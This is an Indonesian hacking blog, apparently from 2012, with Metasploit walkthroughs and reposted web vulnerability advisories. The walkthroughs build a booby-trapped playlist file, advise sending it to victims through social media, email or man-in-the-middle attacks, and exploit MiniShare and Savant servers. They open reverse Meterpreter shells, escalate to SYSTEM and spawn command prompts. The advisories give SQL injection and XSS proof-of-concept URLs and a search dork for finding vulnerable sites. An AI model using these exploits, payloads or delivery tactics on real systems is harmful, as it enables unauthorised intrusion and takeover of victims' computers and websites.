Minggu, 08 Januari 2012

Metasploit VS Millenium MP3 Studio 2.0


Preparation :
[*] Metasploit
[*] Apache2

Briefing :
[*] Buat file 0day untuk Millenium MP3 Studio 2.0
[*] Pindahkan file 0day ke directory /var/www/
[*] Tunggu hingga korban memainkan file 0day kita
[*] Game Over

Walkthrough:
1. Buat file 0day untuk Millenium MP3 Studio 2.0

Command :
msf > use exploit/windows/fileformat/millenium_mp3_pls

Kemudian, kita setting file 0day kita.

Command :

msf  exploit(millenium_mp3_pls) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcpmsf  exploit(millenium_mp3_pls) > set LHOST 172.16.230.1LHOST => 172.16.230.1msf  exploit(millenium_mp3_pls) > set LPORT 4444LPORT => 4444msf  exploit(millenium_mp3_pls) > set FILENAME listen-to-me.plsFILENAME => listen-to-me.plsmsf  exploit(millenium_mp3_pls) > set EXITFUNC noneEXITFUNC => none

Cek eksploit kita untuk memastikan tidak ada parameter yang kosong.

Command :

msf  exploit(millenium_mp3_pls) > show options 

Module options (exploit/windows/fileformat/millenium_mp3_pls):   Name      Current Setting   Required  Description   ----      ---------------   --------  -----------   FILENAME  listen-to-me.pls  yes       The file name.Payload options (windows/meterpreter/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  none             yes       Exit technique: seh, thread, process, none   LHOST     172.16.230.1     yes       The listen address   LPORT     4444             yes       The listen portExploit target:   Id  Name   --  ----   0   Windows Universal


Kemudian masukan perintah exploit untuk membuat file 0day.

Command :

msf  exploit(millenium_mp3_pls) > exploit 

[*] Creating 'listen-to-me.pls' file ...[+] listen-to-me.pls stored at /root/.msf4/local/listen-to-me.pls


Ok. File kita sudah dibuat, dan di simpan di dalam direktori /root/.msf4/local/ bernama listen-to-me.pls


2. Pindahkan file listen-to-me.pls ke direktori /var/www

Gunakan perintah mv, atau cp untuk memindahkan file ini.

Command :
root@revolution:~# cp /root/.msf4/local/listen-to-me.pls /var/www/

Kemudian cek kembali bahwa file kita sudah terpindah ke direktori /var/www/

Command :

root@revolution:~# cd /var/www/
root@revolution:/var/www# lltotal 54680drwxr-xr-x  4 root     root         4096 2012-01-08 14:05 ./drwxr-xr-x 16 root     root         4096 2011-06-08 20:16 ../drwxr-xr-x 10 www-data www-data     4096 2012-01-07 19:36 beef/-rw-r--r--  1 root     root      8156634 2009-12-10 07:48 BigAntServer_Enu_Setup.exe-rwxrwxrwx  1 root     root      7983311 2011-11-01 15:06 ca_setup.exe*-rw-r--r--  1 root     root         4160 2012-01-08 14:05 listen-to-me.pls-rwxrwxrwx  1 root     root      1851184 2012-01-05 18:36 millennium.exe*-rw-r--r--  1 root     root       102476 2012-01-07 19:57 minishare-1.4.1.exe-rwxrwxrwx  1 root     root      1269567 2011-12-27 16:51 Savant31.exe*-rwxrwxrwx  1 root     root     17050136 2011-11-27 09:43 ServUSetup.exe*-rwxrwxrwx  1 root     root     19541182 2011-11-01 15:05 wireshark-win32-1.6.2.exe*drwxr-xr-x  2 root     root         4096 2011-05-10 14:44 wstool/


Sekarang kita tunggu hingga seseorang mengabil file ini, kemudian mengeksekusinya dengan program Millenium MP3 Studio 2.0. Anda bisa menggunakan cara MITM atau mengirim malicious link kepada korban melalui jejaring social, atau email. Jangan lupa untuk mengaktifkan multi/handler pada metasploit.

Command :

msf  exploit(millenium_mp3_pls) > use exploit/multi/handler 
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf  exploit(handler) > set LHOST 172.16.230.1LHOST => 172.16.230.1msf  exploit(handler) > set LPORT 4444LPORT => 4444

Cek kembali exploit multi handler kita.

Command :

msf  exploit(handler) > show options 

Module options (exploit/multi/handler):   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (windows/meterpreter/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  process          yes       Exit technique: seh, thread, process, none   LHOST     172.16.230.1     yes       The listen address   LPORT     4444             yes       The listen portExploit target:   Id  Name   --  ----   0   Wildcard Target


Kemudian exploit untuk menjalankan multi handler

Command :

msf  exploit(handler) > exploit 

[*] Started reverse handler on 172.16.230.1:4444 [*] Starting the payload handler...



3. Korban masuk kedalam perangkap.

Dan ini yang akan terjadi ketika korban masuk ke dalam perangkap.

Command :

msf  exploit(handler) > exploit 

[*] Started reverse handler on 172.16.230.1:4444 [*] Starting the payload handler...[*] Sending stage (752128 bytes) to 172.16.230.128[*] Meterpreter session 1 opened (172.16.230.1:4444 -> 172.16.230.128:1187) at 2012-01-08 15:27:02 +0700meterpreter >



Excellent like usual =)

created by : red-dragon

Sabtu, 07 Januari 2012

How To Update SQLmap

Pengguna << back|track yang gemar SQL Injection, siapa yang tidak tau dengan tools yang satu ini. Ya... SQLmap. Layaknya Havij pada Windows, SQLmap mampu melakukan SQL Injection secara otomatis pada URL tertentu yang vulnerable terhadap SQL Injection. Beberapa kelebihan SQLmap adalah, tersedianya dictionary attack dan wordlist untuk melakukan cracking hash MD5. Wordlist ini bisa di-upgrade. Dengan mengupdate SQLmap, maka wordlist telah terupdate. Lalu bagaimana cara mengupdate sqlmap?


Banyak pengguna backtrack yang terjebak dengan perintah svn update:


Command :
root@revolution:/# cd /pentest/database/sqlmap/ && svn update

Cara ini terlihat akan berhasil. Terlihat bahwa wordlist sudah diupdate. Namun menjelang tahap terakhir, anda akan menemukan perintah untuk memasukan username dan password sqlmap. Waaaah, punya akun aja engga. Dan parahnya, ketika menemui jalan buntu, akhirnya user melakukan abortion, atau penggagalan update. Ini menyebabkan sqlmap crash! Jadi bagaimana cara mengupdate sqlmap?
Simple saja. Kita hanya membuat file baru untuk melakukan update. Pertama, kita akan menghapus semua isi di dalam folder sqlmap, karena saya akan memberikan link untuk mengupdate sqlmap versi developer.


Command :
root@revolution:/# cd /pentest/database/sqlmap/ && rm -rf * && cd ..

Kemudian buat file update.


Command :
root@revolution:/pentest/database# nano update.sh

Kemudian masukan script ini:


Script :
#!/bin/bash
echo "[*] exec : svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap"
echo "[*] Please wait..."
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap


Tekan tombol ctrl+x, kemudian tekan tombol y, lalu enter. Setelah itu masukan perintah berikut untuk mengubah permission update.sh agar bisa dieksekusi.


Command :
root@revolution:/pentest/database# chmod +x update.sh

Kemudian eksekusi file update.sh dengan perintah:


Command :
root@revolution:/pentest/database# ./update.sh
[*] exec : svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap
[*] Please wait...
U    sqlmap/sqlmap.conf
U    sqlmap/lib/core/option.py
U    sqlmap/lib/core/update.py
U    sqlmap/lib/parse/cmdline.py
 U   sqlmap
Checked out revision 4657.


Script ini akan melakukan update sqlmap. Jika menemukan pesan error, berikan komentar di bawah.


created by : red-dragon

Metasploit VS MiniShare

Sudah pernah dibahas sebelumnya dalam tutorial from bug to 0day against MiniShare 1.4.1. Kali ini, saya akan mendemonstrasikan 0day attack dari metasploit terhadap program MiniShare 1.4.1.

Preparation:
[*] nmap
[*] Metasploit

Walkthrough:

1. Scan Host
Exploitasi selalu berawal dari reconnaissance, atau yang sering disebut sebagai information gathering. Untuk melakukan tahap ini, saya akan menggunakan nmap untuk melakukan information gathering. Khusunya dalam mencari tau, siapa saja yang sedang berada dalam Local Area Network. Buka terminal, lalu masukan perintah:

Command :
root@revolution:~# nmap -sn 192.168.1.1-255

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-07 20:21 WIT
Nmap scan report for 192.168.1.1
Host is up (0.0022s latency).
MAC Address: F4:EC:38:C5:5B:CC (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.3
Host is up.
Nmap scan report for 192.168.1.4
Host is up (0.00044s latency).
MAC Address: E0:B9:A5:9D:37:E9 (Azurewave)

Nmap scan report for 192.168.1.7
Host is up (0.079s latency).
MAC Address: E0:B9:A5:9D:18:94 (Azurewave)
Nmap done: 255 IP addresses (4 hosts up) scanned in 43.05 seconds





IP address saya 192.168.1.3, mari kita lihat port yang terbuka pada host 192.168.1.4

2. Reconnaissance - Find Vulnerability

Command :
root@revolution:~# nmap -A 192.168.1.4

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-07 20:24 WIT
Stats: 0:02:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.12% done; ETC: 20:27 (0:00:01 remaining)
Nmap scan report for 192.168.1.4
Host is up (0.0013s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Minishare http interface 1.4.1 (0 files, 0 bytes shared)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp open  http         Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Site doesn't have a title (text/html).
MAC Address: E0:B9:A5:9D:37:E9 (Azurewave)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: VICTIM, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:aa:99:56 (VMware)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)

TRACEROUTE
HOP RTT     ADDRESS
1   1.31 ms 192.168.1 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 151.10 seconds



OK. Sekarang kita tau bahwa host 192.168.1.4 menggunakan MiniShare versi 1.4.1. Langkah selanjutnya adalah menemukan exploit yang tepat.

3. Find The Exploit

Dalam konsol metasploit, ketik "search minishare" tanpa tanda petik. Hal ini ditujukan untuk mengetahui exploit mana yang paling tepat untuk kita gunakan dalam meng-eksploit host 192.168.1.4


Command :
msf > search minishare

Matching Modules
================

   Name                                         Disclosure Date  Rank     Description
   ----                                         ---------------  ----     -----------
   exploit/windows/http/minishare_get_overflow  2004-11-07       average  Minishare 1.4.1 Buffer Overflow




Sekarang kita akan menggunakan Module ini untuk mendapatkan akses


4. Gaining Access

Masukan perintah berikut dalam konsol metaploit:

Command :
msf > use exploit/windows/http/minishare_get_overflow
msf  exploit(minishare_get_overflow) > set PAYLOAD windows/meterpreter/reverse_ord_tcp
PAYLOAD => windows/meterpreter/reverse_ord_tcp
msf  exploit(minishare_get_overflow) > set RHOST 192.168.1.4
RHOST => 192.168.1.4
msf  exploit(minishare_get_overflow) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf  exploit(minishare_get_overflow) > set TARGET 3
TARGET => 3


Kemudian cek exploit kita:

Command :
msf  exploit(minishare_get_overflow) > show options

Module options (exploit/windows/http/minishare_get_overflow):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.4      yes       The target address
   RPORT    80               yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.3      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   3   Windows XP SP2 English






Kemudian kita eksploit.

Command :
msf  exploit(minishare_get_overflow) > exploit

[*] Started reverse handler on 192.168.1.3:4444
[*] Trying target address 0x71ab9372...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (752128 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.4:1047) at 2012-01-07 20:14:28 +0700

meterpreter >


Berhasil. Kita telah membuka meterpreter sesi pertama.

5. Privilege Escalation

Cek ID kita dengan perintah "getuid" dan cek juga process work directory kita dengan perintah "pwd" [tanpa tanda petik]


Command :
meterpreter > getuid
Server username: VICTIM\User
meterpreter > pwd
C:\Program Files\MiniShare



Terlihat di atas, bahwa ID kita bukan NT AUTHORITY\SYSTEM aka root. Untuk melakukan privilege escalation, kita akan melakukan proses migrasi dengan perintah "migrate [pid]" [tanpa tanda petik]

Untuk menemukan PID milik NT AUTHORITY\SYSTEM, kita akan gunakan perintah "ps" [tanpa tanda petik], kemudian cek kolom user, dan temukan NT AUTHORITY\SYSTEM.

Command :
meterpreter > psProcess list
============

 PID   Name               Arch  Session  User                 Path
 ---   ----               ----  -------  ----                 ----
 0     [System Process]                                      
 1028  svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1084  svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1148  svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1248  svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 132   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1328  alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 1452  explorer.exe       x86   0        VICTIM\User          C:\WINDOWS\Explorer.EXE
 1536  spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1628  VMwareTray.exe     x86   0        VICTIM\User          C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 1636  vmtoolsd.exe       x86   0        VICTIM\User          C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 2036  minishare.exe      x86   0        VICTIM\User          C:\Program Files\MiniShare\minishare.exe
 216   TPAutoConnect.exe  x86   0        VICTIM\User          C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 380   smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 4     System             x86   0                            
 512   wscntfy.exe        x86   0        VICTIM\User          C:\WINDOWS\system32\wscntfy.exe
 600   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 624   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 668   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 680   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 840   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 848   TPAutoConnSvc.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 856   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 936   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe


Ok. Sekarang kita menemukan salah satu PID yang dijalankan oleh user NT AUTHORITY\SYSTEM. Lakukan proses migrate dengan perintah "migrate [pid]". Kali ini saya akan melakukan migrasi ke PID 856 bernama svchost.exe.




Command :
meterpreter > migrate 856
[*] Migrating to 856...
[*] Migration completed successfully.


Kemudian kita cek kembali ID dan PWD kita

Command :
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\WINDOWS\system32


Untuk menyempurnakan, kita akan mengambil alih command prompt korban dengan perintah "shell".

Command :
meterpreter > shell
Process 720 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>




Sempurna!!!

created by: red-dragon

Jumat, 06 Januari 2012

[RECONNAISSANCE] SQL Injection 6 January

DIGIT Israel Cms SQL Injection / XSS Multiple Vulnerability 
Author : BHG Security Center
Date : 2012-01-05
Location : Iran
Web : http://Black-Hg.Org
Critical Lvl : Medium
Where : From Remote
My Group : Black Hat Group #BHG


[PoC] : /website_path/Default.asp?sType=0&PageId=[Sqli]


 Enter In Search Box XSS Code 
<FORM action="Default.asp?PageId=-1" method=POST id=searchFORM name=searchFORMstyle="margin:0;padding:0"><INPUT type="hidden" value="" name="txtSEARCH">
</FORM>

[PoC] : Http://[victim]/path/Default.asp

Note : There are vulnerabilities in the search field that you can use


 Timeline:
~~~~~~~

- 02 - 01 - 2012 bug found.
- 03 - 01 - 2012 vendor contacted, but no response.
- 05 - 01 - 2012 Advisories release.

 Important Notes:
~~~~~~~~~~~~~

- Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in

- the website, we have used all the emails which had been found by searching in Google such as support, info, and so on.



Priza Israel Cms SQL Injection / XSS Multiple Vulnerability

# Exploit Title: Priza Israel Cms SQL Injection / XSS Multiple Vulnerability
# Date: 2012-01-05 [GMT +7]
# Author: BHG Security Center
# Software Link: http://www.priza.co.il/
# Vendor Response(s): They didn't respond to the emails.
# Dork: intext:"Powered by Priza"
# Version : [0.0.2]
# Tested on: ubuntu 11.04
# CVE : -
# Finder(s):
    - Net.Edit0r (Net.edit0r [at] att [dot] net)
    - G3n3Rall (Ant1_s3cur1ty [at] yahoo [dot] com)

Author : BHG Security Center
Date : 2012-01-05
Location : Iran
Web : http://Black-Hg.Org
Critical Lvl : Medium
Where : From Remote
My Group : Black Hat Group #BHG
---------------------------------------------------------------------------

[PoC] : /website_path/index.asp?p_id=201&id=[SQLi]

[PoC] : /website_path/index.asp?page_id=[SQLi]

[PoC] : /website_path/volumes.asp?id=18

[PoC] : /website_path/index.asp?action=find&page_id=28&string=[Xss]

[PoC] : Http://[victim]/path/index.asp?p_id=201&id=[SQLi]

[PoC] : Http://[victim]/path/index.asp?action=find&page_id=28&string="><script>alert(0)</script>


 Timeline:
~~~~~~~
- 02 - 01 - 2012 bug found.
- 03 - 01 - 2012 vendor contacted, but no response.
- 05 - 01 - 2012 Advisories release.

 Important Notes:
~~~~~~~~~

- Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in

- the website, we have used all the emails which had been found by searching in Google such as support, info, and so on.

Kamis, 05 Januari 2012

Metasploit VS Savant

Sebelumnya pernah dibahas mengenai vulnerability yang dimiliki oleh Savant. Untuk lebih jelasnya, baca di sini Kali ini saya akan mendemonstrasikan bagaimana berbahayanya jika anda memiliki Savant, dan berhadapan dengan Metasploit.

Preparation:
[*] Metasploit
[*] Nmap

Walkthrough:
1. Scan Host
Lakukan scanning host di dalam local area network dengan nmap

Command :
root@machine:~# nmap -sn 192.168.1.0/24


Output:

root@machine:~# nmap -sn 192.168.1.0/24

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-05 22:45 WIT
Nmap scan report for 192.168.1.1
Host is up (0.0027s latency).
MAC Address: F4:EC:38:C5:5B:CC (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.2
Host is up (0.057s latency).
MAC Address: A0:6C:EC:79:61:C9 (RIM)
Nmap scan report for 192.168.1.3
Host is up (0.069s latency).
MAC Address: 8C:64:22:87:A0:FF (Sony Ericsson Mobile Communications AB)
Nmap scan report for kioptrix3.com (192.168.1.5)
Host is up.
Nmap scan report for 192.168.1.6
Host is up (0.00026s latency).
MAC Address: E0:B9:A5:9D:37:E9 (Azurewave)
Nmap done: 256 IP addresses (5 hosts up) scanned in 6.87 seconds


OK. Kali ini kita akan mencoba menyerang IP 192.168.1.6


2. Reconnaissance

Pada tahap ini, kita akan melakukan port mapping dan scanning service menggunakan nmap. Port yang akan kita scan adalah port 80. Maka perintah nmap yang kita gunakan adalah:

Command :
root@machine:~# nmap -p 80 -sV 192.168.1.6 -vv


Output:

root@machine:~# nmap -p 80 -sV 192.168.1.6 -vv

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-05 22:43 WIT
NSE: Loaded 11 scripts for scanning.
Initiating ARP Ping Scan at 22:43
Scanning 192.168.1.6 [1 port]
Completed ARP Ping Scan at 22:43, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:43
Completed Parallel DNS resolution of 1 host. at 22:43, 0.06s elapsed
Initiating SYN Stealth Scan at 22:43
Scanning 192.168.1.6 [1 port]
Discovered open port 80/tcp on 192.168.1.6
Completed SYN Stealth Scan at 22:43, 0.05s elapsed (1 total ports)
Initiating Service scan at 22:43
Scanning 1 service on 192.168.1.6
Completed Service scan at 22:44, 6.02s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.1.6.
NSE: Starting runlevel 1 (of 1) scan.
Nmap scan report for 192.168.1.6
Host is up (0.00045s latency).
Scanned at 2012-01-05 22:43:57 WIT for 7s
PORT   STATE SERVICE VERSION
80/tcp open  http    Savant httpd 3.1
MAC Address: E0:B9:A5:9D:37:E9 (Azurewave)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (72B)

Sekarang kita telah mengetahui, bahwa host ini menggunakan savant.


3. Mencari Exploit yang tepat

Kita akan mencari exploit yang tepat yang dimiliki oleh metasploit. Untuk mencarinya kita gunakan perintah search. Pertama-tama, buka terminal, dan masukan perintah:

Command :
root@machine:~# msfconsole

Dalam konsol metasploit, masukan perintah:

Command :
msf > search savant


Kita menemukan exploit untuk savant, mari kita gunakan exploit ini untuk melakukan exploitasi terhadap system korban. Dalam konsol metasploit, masukan perintah:

Command :
msf > use exploit/windows/http/savant_31_overflowmsf  exploit(savant_31_overflow) > set PAYLOAD windows/meterpreter/reverse_ord_tcp PAYLOAD => windows/meterpreter/reverse_ord_tcpmsf  exploit(savant_31_overflow) > set LHOST 192.168.1.5 LHOST => 192.168.1.5msf  exploit(savant_31_overflow) > set LPORT 4444 LPORT => 4444msf  exploit(savant_31_overflow) > set RHOST 192.168.1.6RHOST => 192.168.1.6

Keterangan:
Di sini saya menggunakan PAYLOAD windows/meterpreter/reverse_ord_tcp. IP address saya 192.168.15, dan ini yang akan menjadi value dari LHOST. Untuk LPORT dapat diisi bebas, namun standar port listener metasploit adalah 4444. Kemudian Target saya adalah 192.168.1.6 yang akan menjadi value dalam parameter RHOST.

Cek kembali opsi kita dengan memasukan perintah:

Command :
msf  exploit(savant_31_overflow) > show options



Output:
msf  exploit(savant_31_overflow) > show options 

Module options (exploit/windows/http/savant_31_overflow):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.6      yes       The target address
   RPORT    80               yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.5      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Universal Savant.exe



4. Gaining Access

Setelah semua parameter telah lengkap, kita akan melakukan exploitasi system. Pada konsol metasploit, masukan perintah:

Command :
msf  exploit(savant_31_overflow) > exploit


Output:

msf  exploit(savant_31_overflow) > exploit 

[*] Started reverse handler on 192.168.1.5:4444 
[*] Searching for a suitable nopsled...
[*] Found one! Sending exploit.
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (752128 bytes) to 192.168.1.6
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.6:1046) at 2012-01-05 22:47:21 +0700

meterpreter >

Ok. Meterpreter sesi pertama telah terbuka. Sekarang saatnya kita masuk ke dalam command prompt.

Pertama kita cek User ID kita:

Command :
meterpreter > getuid

Output:
Server username: ROOT-11E5DB48A8\Administrator

Terlihat bahwa kita bukanlah NT AUTHORITY\SYSTEM. Untuk melakukan privilege escalation, masukan perintah berikut kedalam konsol meterpreter.

Command :
meterpreter > getsystem

Output:
...got system (via technique 1).

Berhasil. Kemudian kita cek kembali User ID kita dengan perintah:

Command :
meterpreter > getuid

Output:
Server username: NT AUTHORITY\SYSTEM

Kita telah berhasil menjadi NT AUTHORITY\SYSTEM. Sekarang, kita eksekusi command prompt milik windows. Masukan perintah berikut ke dalam konsol meterpreter.

Command :
meterpreter > shell

Output:
[-] stdapi_sys_process_execute: Operation failed: 1314

Ooops. Seharusnya ini tidak terjadi. Kita coba dengan cara lain.

Command :
meterpreter > execute -f -i -H cmd.exe

Output:
[-] stdapi_sys_process_execute: Operation failed: The system cannot find the file specified.



Sepertinya ada yang salah dengan work directory kita. Seperti yang kita ketahui, file cmd.exe terletak pada direktori C:\WINDOWS\system32. Untuk dapat mengeksekusi command prompt, kita harus berpindah process ke process yang file asalnya terdapat dalam direktori C:\WINDOWS\system32. Untuk mencari process yang memiliki sumber dari direktori C:\WINDOWS\system32, kita akan menggunakan perintah ps. Masukan perintah ini ke dalam konsol meterpreter.

Command :
meterpreter > ps

Output:

meterpreter > ps

Process list
============

 PID   Name               Arch  Session  User                           Path
 ---   ----               ----  -------  ----                           ----
 0     [System Process]                                                 
 1040  svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 1060  TPAutoConnSvc.exe  x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 1080  svchost.exe        x86   0        NT AUTHORITY\NETWORK SERVICE   C:\WINDOWS\system32\svchost.exe
 1124  svchost.exe        x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\system32\svchost.exe
 1136  wscntfy.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\wscntfy.exe
 128   explorer.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\Explorer.EXE
 1284  alg.exe            x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\System32\alg.exe
 1320  VMwareTray.exe     x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 1396  spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
 1444  sched.exe          x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\Avira\AntiVir PersonalEdition Classic\sched.exe
 1512  vmtoolsd.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1520  rundll32.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\rundll32.exe
 1532  avgnt.exe          x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\Avira\AntiVir PersonalEdition Classic\avgnt.exe
 1600  avguard.exe        x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\Avira\AntiVir PersonalEdition Classic\avguard.exe
 1612  svchost.exe        x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\system32\svchost.exe
 1676  metsvc.exe         x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\TEMP\gDzCKIoJEf\metsvc.exe
 1844  TPAutoConnect.exe  x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 1964  vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 2656  wuauclt.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\wuauclt.exe
 3628  svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 4     System             x86   0        NT AUTHORITY\SYSTEM            
 524   Savant.exe         x86   0        ROOT-11E5DB48A8\Administrator  C:\Savant\Savant.exe
 548   smss.exe           x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
 612   csrss.exe          x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
 636   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
 680   services.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
 692   lsass.exe          x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
 848   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 860   svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
 944   svchost.exe        x86   0        NT AUTHORITY\NETWORK SERVICE   C:\WINDOWS\system32\svchost.exe



Perhatikan process 860, dimana svchost sedang berjalan. svchost memiliki file asal yang bernama svchost.exe yang teletak pada direktori C:\WINDOWS\system32. Kita akan berpindah ke process ini dengan perintah:

Command :
meterpreter > migrate 860

Output:
meterpreter > migrate 860
[*] Migrating to 860...
[*] Migration completed successfully.



Kemudian kita eksekusi command prompt dengan perintah shell.

Command :
meterpreter > shell

Output:
meterpreter > shell
Process 3072 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>



Perfect as usual =)

created by: red-dragon

[RECONNAISSANCE] SQL Injection 5 January

Posse Softball Director CMS Blind SQL Injection Vulnerability

[+] Autor: easy laster
[+] Vulnerabilities [Blind SQL Injection ]
[+] Page: www.possesports.com
[+] Language: [ PHP ]
[+] Version: 1.0
[+] Date: 04.01.2012
[+] Status:vulnerable

Vulnerable link : 
http://[host]/[path]/team.php?idteam= [SQL Injection}

